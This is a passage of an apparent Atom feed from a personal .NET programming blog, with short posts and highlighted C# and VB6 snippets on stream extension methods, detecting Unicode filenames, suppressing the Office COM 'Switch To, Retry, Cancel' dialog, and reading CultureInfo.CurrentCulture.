class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And an example of the extension method way...&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;StreamExtensions&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;this&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Unicode string detection</title>
		<id>https://blog.thoward37.me/articles/unicode-string-detection</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/unicode-string-detection" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/unicode-string-detection" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/unicode-string-detection" type="text/html"></link>
		<published>2009-07-23T02:52:00+00:00</published>
		<updated>2009-07-23T02:52:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;I had the need to detect wether or not a given string (in .Net/C#) was unicode or not.. Specifically filenames. I had a situation where a filename might be passed to me, that could possibly contain unicode. If it DID contained unicode characters, I needed to run &lt;code&gt;GetShortPathName&lt;/code&gt; and get the 8.3 filename for the file, before passing it into a legacy component that couldn&#39;t handle unicode names...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;andysinger_scrabbletiles.png&#34; alt=&#34;unicode scrabble&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, a &amp;quot;big hammer approach&amp;quot; might just call &lt;code&gt;GetShortPathName&lt;/code&gt; on every filename, just to be sure... But that&#39;s a costly API call if your having to do this a million times a second.&lt;/p&gt;&#xA;&lt;p&gt;So, long story short, I wrote this little function to detect unicode in a .Net string:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsUnicode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Marshal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PtrToStringAnsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Marshal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StringToHGlobalAnsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now homework for all you kiddies out there... Is this code a memory leak? If so, what should you do to fix it? If not, why not?&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;I had the need to detect wether or not a given string (in .Net/C#) was unicode or not.. Specifically filenames. I had a situation where a filename might be passed to me, that could possibly contain unicode. If it DID contained unicode characters, I needed to run &lt;code&gt;GetShortPathName&lt;/code&gt; and get the 8.3 filename for the file, before passing it into a legacy component that couldn&#39;t handle unicode names...&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;andysinger_scrabbletiles.png&#34; alt=&#34;unicode scrabble&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, a &amp;quot;big hammer approach&amp;quot; might just call &lt;code&gt;GetShortPathName&lt;/code&gt; on every filename, just to be sure... But that&#39;s a costly API call if your having to do this a million times a second.&lt;/p&gt;&#xA;&lt;p&gt;So, long story short, I wrote this little function to detect unicode in a .Net string:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsUnicode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Marshal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PtrToStringAnsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Marshal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StringToHGlobalAnsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now homework for all you kiddies out there... Is this code a memory leak? If so, what should you do to fix it? If not, why not?&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Switch To..., Retry, Cancel</title>
		<id>https://blog.thoward37.me/articles/switch-to-retry-cancel</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/switch-to-retry-cancel" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/switch-to-retry-cancel" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/switch-to-retry-cancel" type="text/html"></link>
		<published>2009-01-06T22:59:00+00:00</published>
		<updated>2009-01-06T22:59:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Well, as much as I hate to admit it, I was recently working on VB6 application that uses Office COM automation. It needed to have Word and Excel do a few things while the main application waited.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Every time a user clicked on the UI, you&#39;d get that beautiful dialog:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;dialog.png&#34; alt=&#34;Switch To.., Retry, or Cancel&#34; /&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This application cannot be completed because the other application is busy. Choose &#39;Switch To&#39; to activate the busy application and correct the problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is particularly onerous because if the user does not click &lt;code&gt;Switch To...&lt;/code&gt; both programs, the VB6 app AND the Office app sit around waiting for the user to do something. Yay!&lt;/p&gt;&#xA;&lt;p&gt;Luckily I found the quick and dirty answer to this. Somewhere... Anywhere before the point that you make the COM call, just insert these two lines:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;App&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OleRequestPendingTimeout&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;2147483647&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;App&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OleServerBusyTimeout&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;2147483647&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;... and you never have to see that dialog again.&lt;/p&gt;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Well, as much as I hate to admit it, I was recently working on VB6 application that uses Office COM automation. It needed to have Word and Excel do a few things while the main application waited.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Every time a user clicked on the UI, you&#39;d get that beautiful dialog:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;dialog.png&#34; alt=&#34;Switch To.., Retry, or Cancel&#34; /&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This application cannot be completed because the other application is busy. Choose &#39;Switch To&#39; to activate the busy application and correct the problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is particularly onerous because if the user does not click &lt;code&gt;Switch To...&lt;/code&gt; both programs, the VB6 app AND the Office app sit around waiting for the user to do something. Yay!&lt;/p&gt;&#xA;&lt;p&gt;Luckily I found the quick and dirty answer to this. Somewhere... Anywhere before the point that you make the COM call, just insert these two lines:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;App&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OleRequestPendingTimeout&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;2147483647&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;App&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OleServerBusyTimeout&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;2147483647&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;... and you never have to see that dialog again.&lt;/p&gt;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>How to get information about your current culture.</title>
		<id>https://blog.thoward37.me/articles/how-to-get-information-about-your-current-culture</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/how-to-get-information-about-your-current-culture" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/how-to-get-information-about-your-current-culture" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/how-to-get-information-about-your-current-culture" type="text/html"></link>
		<published>2008-05-15T17:40:00+00:00</published>
		<updated>2008-05-15T17:40:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Instead of doing a college survey and asking a bunch of probing questions about the lives of twenty-somethings, there&#39;s an easier way to get information about your current culture. Just look at &lt;code&gt;CultureInfo.CurrentCulture&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s a quick program that explains how to do that. This can be very useful in debugging and troubleshooting how your program behaves on machines that are setup for other languages or regions.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Globalization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;ConsoleApplication1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Program&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;CultureInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CultureInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CurrentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;CultureInfo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;\-----------&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span 